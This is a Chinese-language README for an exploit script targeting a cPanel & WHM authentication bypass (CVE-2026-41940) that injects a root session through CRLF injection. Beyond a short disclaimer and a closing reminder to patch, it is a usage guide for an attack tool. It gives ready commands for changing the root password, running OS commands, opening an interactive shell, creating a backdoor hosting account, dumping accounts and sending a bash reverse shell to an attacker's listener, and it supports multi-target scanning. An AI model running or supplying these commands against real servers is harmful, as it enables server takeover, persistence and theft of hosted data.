免责声明: 本文档及关联脚本 (
exploit.py) 仅供教育目的、安全研究和授权的渗透测试使用。请勿将此软件用于您不拥有或未经明确许可测试的系统。
exploit.py 是一个演示 cPanel & WHM 中认证绕过漏洞(CVE-2026-41940)的脚本。该漏洞允许未经认证的攻击者通过 CRLF 注入漏洞将 root 会话注入守护进程缓存,最终无需有效凭据即可获得 root 级别的 WHM 访问权限。
该漏洞利用基本认证处理机制中的 CRLF(回车换行)注入漏洞,结合会话传播缺陷。脚本自动化了四个阶段的攻击:
/login/ 或 /cgi/login.cgi)获取基线未认证会话 Cookie (whostmgrsession)。cpsrvd 会话缓存。服务器的重定向响应泄露了生成的安全令牌 (cpsess)。do_token_denied 将伪造的会话传播到守护进程缓存——使其成为有效的经过认证的会话。/json-api/version)以确认 root 级别访问权限。requests 库pip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| 参数 | 描述 |
|---|---|
--target URL | 单个 WHM URL(例如 https://target:2087) |
--target-file FILE | 包含目标的文件(每行一个 ip:port)——自动启用检查模式 |
| 参数 | 描述 |
|---|---|
--threads N | 多目标模式下的并发线程数(默认:10) |
--hostname HOST | 覆盖 Host 头部——当自动发现失败或给出错误主机名时使用 |
--timeout N | 每个请求的超时时间(秒)(默认:15) |
--retries N | 网络错误重试次数(默认:3) |
--cookie-name NAME | 强制指定会话 Cookie 名称(如果省略则自动检测) |
--no-verify | 跳过阶段 4 验证并继续执行 |
| 参数 | 描述 |
|---|---|
--check | 仅检查模式——验证漏洞而不进行利用(使用 --target-file 时自动设置) |
--password PASS | 将 root 密码更改为 PASS |
--api FUNC | 调用特定的 WHM JSON-API 函数 |
--api-params K=V,... | --api 的逗号分隔参数 |
--exec CMD | 通过 WHM scripts/run_script 执行操作系统命令(备用:rawexec) |
--session | 生成一个 root 一键登录 URL——立即打开,令牌过期很快 |
--shell | 进入交互式 WHM shell(仅限单目标) |
--dump | 转储服务器信息:版本、账户、DNS 区域、权限 |
--add-user USER PASS DOMAIN | 创建一个新的 cPanel 托管账户 |
--revshell LHOST LPORT | 向您的监听器发送一个 bash 反向 shell |
| 参数 | 描述 |
|---|---|
--output FILE | 将会话令牌和详细信息保存到 JSON 文件 |
# 检查目标是否易受攻击
python exploit.py --target https://target:2087 --check
# 转储服务器信息(版本、账户、权限)
python exploit.py --target https://target:2087 --dump
# 生成一个一键 root 登录 URL(立即粘贴到浏览器)
python exploit.py --target https://target:2087 --session
# 执行命令
python exploit.py --target https://target:2087 --exec "id"
# 进入交互式 WHM shell
python exploit.py --target https://target:2087 --shell
# 更改 root 密码
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# 直接调用 WHM API
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# 创建一个后门 cPanel 账户
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# 发送反向 shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# 覆盖主机名(当自动发现失败时使用)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# 扫描多个目标(仅检查模式)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# 将会话保存到文件
python exploit.py --target https://target:2087 --dump --output results.json
使用 --shell 时,可使用以下命令:
| 命令 | 描述 |
|---|---|
api <function> [k=v ...] | 调用 WHM JSON-API 函数(例如 api version) |
exec <command> | 通过 WHM 运行操作系统命令(例如 exec id) |
passwd <newpass> | 更改 root 密码 |
dump | 转储服务器信息 |
revshell <lhost> <lport> | 发送反向 shell |
add <user> <pass> <domain> | 创建一个 cPanel 账户 |
save <path> | 将当前会话保存到文件 |
exit / quit | 退出 shell |
请立即更新最新的 cPanel/WHM 安全补丁。